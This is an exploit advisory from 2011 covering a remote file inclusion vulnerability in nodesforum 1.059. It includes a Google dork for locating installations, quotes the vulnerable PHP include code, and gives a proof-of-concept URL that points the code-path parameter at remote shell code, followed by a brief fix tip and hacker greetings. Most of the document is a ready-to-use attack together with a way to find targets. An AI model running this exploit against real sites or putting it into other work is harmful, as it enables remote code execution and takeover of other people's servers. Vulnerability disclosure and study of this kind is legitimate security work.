nodesforum 1.059 - Remote File Inclusion Vulnerability

                                                # Exploit Title: nodesforum 1.059 Remote File Inclusion Vulnerability
# Google Dork: inurl: powered by Nodesforum
# Date: 6/23/2011
# Author: bd0rk ( bd0rk[at]hackermail.com )
# Software-Download: http://home.nodesforum.com/download?file=nodesforum_1.059_with_bbcode_1.004.zip
# Tested on: Ubuntu-Linux / WinVista
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Vulnerable Code in 3rd_party_limits.php line 6 - 8

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$limits_cache_url=$_nodesforum_code_path.'cache/'.$_nodesforum_db_table_name_modifier.'_3rd_party_limits.php';
if(@filemtime($limits_cache_url) && @filemtime($limits_cache_url)>(time()-(24*3600*14)))
{include($limits_cache_url);}

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The parameter $limits_cache_url is declared with the other parameter $_nodesforum_code_path
So we can use the declared.




PoC: http://[target_host]/nodesforum/3rd_party_limits.php?_nodesforum_code_path=[RemoteShellCode]


Fixtip: Declare $_nodesforum_code_path, likewise!


Greetings: Kathrin J., Perle, x0r_32 and ZUBAIR ANJUM ;-)



#### The 22 years old, german Hacker bd0rk #### <---white-hat